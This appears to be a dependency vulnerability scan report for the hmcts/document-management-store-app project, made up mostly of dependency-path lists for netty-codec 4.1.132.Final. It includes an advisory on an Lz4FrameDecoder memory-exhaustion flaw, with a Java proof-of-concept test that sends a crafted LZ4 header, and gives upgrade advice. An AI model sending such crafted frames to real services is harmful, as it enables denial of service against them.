  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-handler-proxy@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-handler-proxy@4.1.132.Final io.netty:netty-codec-socks@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-resolver-dns-native-macos@4.1.131.Final io.netty:netty-resolver-dns-classes-macos@4.1.131.Final io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-codec-dns@4.1.131.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-resolver-dns-native-macos@4.1.131.Final io.netty:netty-resolver-dns-classes-macos@4.1.131.Final io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-codec-dns@4.1.131.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-codec-dns@4.1.131.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-resolver-dns-native-macos@4.1.131.Final io.netty:netty-resolver-dns-classes-macos@4.1.131.Final io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-resolver-dns-native-macos@4.1.131.Final io.netty:netty-resolver-dns-classes-macos@4.1.131.Final io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-handler-proxy@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-resolver-dns-native-macos@4.1.131.Final io.netty:netty-resolver-dns-classes-macos@4.1.131.Final io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-resolver-dns-native-macos@4.1.131.Final io.netty:netty-resolver-dns-classes-macos@4.1.131.Final io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-resolver-dns-native-macos@4.1.131.Final io.netty:netty-resolver-dns-classes-macos@4.1.131.Final io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-codec-dns@4.1.131.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-resolver-dns-native-macos@4.1.131.Final io.netty:netty-resolver-dns-classes-macos@4.1.131.Final io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-codec-dns@4.1.131.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-resolver-dns-native-macos@4.1.131.Final io.netty:netty-resolver-dns-classes-macos@4.1.131.Final io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-resolver-dns-native-macos@4.1.131.Final io.netty:netty-resolver-dns-classes-macos@4.1.131.Final io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-resolver-dns-native-macos@4.1.131.Final io.netty:netty-resolver-dns-classes-macos@4.1.131.Final io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-codec-dns@4.1.131.Final io.netty:netty-codec@4.1.132.Final

Overview

io.netty:netty-codec is an event-driven asynchronous network application framework.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the Lz4FrameDecoder component. An attacker can cause excessive memory allocation by sending specially crafted compressed data with manipulated header fields, leading to resource exhaustion and potential denial of service.

PoC

    @Test
    void test() throws Exception {
        EventLoopGroup workerGroup = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());
        try {
            AtomicReference<Throwable> serverError = new AtomicReference<>();
            CountDownLatch latch = new CountDownLatch(1);

            ServerBootstrap server = new ServerBootstrap()
                    .group(workerGroup)
                    .channel(NioServerSocketChannel.class)
                    .childHandler(new ChannelInitializer<SocketChannel>() {
                        @Override
                        protected void initChannel(SocketChannel ch) {
                            ch.pipeline()
                                    .addLast(new Lz4FrameDecoder())
                                    .addLast(new ChannelInboundHandlerAdapter() {
                                        @Override
                                        public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {
                                            if (cause instanceof DecoderException) {
                                                serverError.set(cause.getCause());
                                            } else {
                                                serverError.set(cause);
                                            }
                                            latch.countDown();
                                        }
                                    });
                        }
                    });

            ChannelFuture serverChannel = server.bind(0).sync();

            Bootstrap client = new Bootstrap()
                    .group(workerGroup)
                    .channel(NioSocketChannel.class)
                    .handler(new ChannelInboundHandlerAdapter() {
                        @Override
                        public void channelActive(ChannelHandlerContext ctx) {
                            ByteBuf buf = ctx.alloc().buffer(22, 22);
                            buf.writeLong(MAGIC_NUMBER);
                            buf.writeByte(BLOCK_TYPE_COMPRESSED | 0x0F);
                            buf.writeIntLE(1);
                            buf.writeIntLE(1 << 25);
                            buf.writeIntLE(0);
                            buf.writeByte(0);

                            ctx.writeAndFlush(buf);

                            ctx.fireChannelActive();
                        }
                    });

            ChannelFuture clientChannel = client.connect(serverChannel.channel().localAddress()).sync();

            assertTrue(latch.await(10, TimeUnit.SECONDS));

            assertInstanceOf(IndexOutOfBoundsException.class, serverError.get());

            clientChannel.channel().close();
            serverChannel.channel().close();
        } finally {
            workerGroup.shutdownGracefully();
        }
    }

Remediation

Upgrade io.netty:netty-codec to version 4.1.133.Final or higher.

References

high severity

Improper Handling of Highly Compressed Data (Data Amplification)

  • Vulnerable module: io.netty:netty-codec
  • Introduced through: com.azure:azure-storage-blob@12.34.0

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-codec-http@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-codec-http2@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-handler-proxy@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-codec-http@4.1.132.Final io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-codec-http2@4.1.132.Final io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-codec-http2@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-handler-proxy@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-codec-http@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-codec-http@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-codec-http2@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-codec-http2@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-handler-proxy@4.1.132.Final io.netty:netty-codec-socks@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-handler-proxy@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-codec-http2@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-handler-proxy@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-codec-http@4.1.132.Final io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-codec-http@4.1.132.Final io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-codec-http2@4.1.132.Final io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-codec-http2@4.1.132.Final io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-codec-http2@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-codec-http2@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-handler-proxy@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-codec-http@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-codec-http@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-codec-http2@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-codec-http2@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-handler-proxy@4.1.132.Final io.netty:netty-codec-socks@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-handler-proxy@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-handler-proxy@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-codec-dns@4.1.131.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-codec-http2@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-codec-http2@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-handler-proxy@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-codec-http@4.1.132.Final io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-codec-http@4.1.132.Final io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-codec-http2@4.1.132.Final io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-codec-http2@4.1.132.Final io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-codec-http2@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-codec-http2@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-handler-proxy@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-handler-proxy@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-codec-http@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-codec-http2@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-handler-proxy@4.1.132.Final io.netty:netty-codec-socks@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-handler-proxy@4.1.132.Final io.netty:netty-codec-socks@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-handler-proxy@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-codec-dns@4.1.131.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-codec-dns@4.1.131.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-resolver-dns-native-macos@4.1.131.Final io.netty:netty-resolver-dns-classes-macos@4.1.131.Final io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-codec@4.1.132.Final
